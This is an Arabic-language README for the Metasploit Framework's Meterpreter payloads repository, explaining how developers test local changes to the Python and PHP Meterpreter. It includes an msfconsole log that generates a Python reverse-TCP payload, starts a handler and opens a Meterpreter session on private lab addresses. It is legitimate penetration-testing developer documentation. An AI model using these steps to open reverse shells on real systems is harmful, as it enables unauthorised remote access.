مستودع موحّد لحِزم حمولات Metasploit Framework المختلفة
هذا مستودع موحّد لحِزم Metasploit Framework المختلفة، والذي يدمج هذه المستودعات:
تم تطوير C Meterpreter بديل متعدد المنصات، يُسمى Mettle، على https://github.com/rapid7/mettle
راجع الأدلة الفردية للحصول على README الخاص بـ meterpreter وتعليمات البناء وتفاصيل الترخيص:
بالنسبة لـ Python و PHP Meterpreter، يمكنك اختبار التغييرات على هذه الملفات عن طريق إنشاء رابط رمزي للملفات المرتبطة إلى ~/.msf4/payloads/meterpreter.
على سبيل المثال، إليك كيف قد يبدو ذلك لتعديل Python Meterpreter:
mkdir -p ~/.msf4/payloads
cd ~/metasploit-payloads
ln -s ~/metasploit-payloads/python/meterpreter/ext_server_stdapi.py ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
file ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
/home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py: symbolic link to /home/your_user/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py
إذا سارت الأمور على ما يرام، يجب أن ترى رسالة تحذير عند اختيار إحدى حِزم Meterpreter المقابلة واستقبال جلسة:
msf6 > use payload/python/meterpreter/reverse_tcp
msf6 payload(python/meterpreter/reverse_tcp) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 payload(python/meterpreter/reverse_tcp) > generate -f raw -o reverse.py
[*] Writing 436 bytes to reverse.py...
msf6 payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 192.168.153.128:4444
msf6 payload(python/meterpreter/reverse_tcp) > WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/meterpreter.py is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (24380 bytes) to 192.168.153.1
WARNING: Local file /home/your_user/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.1:50334) at 2022-12-13 12:49:49 -0600
عند إجراء تغييرات على Meterpreter - تأكد من التحقق من أن وحدات الاختبار تعمل بشكل صحيح.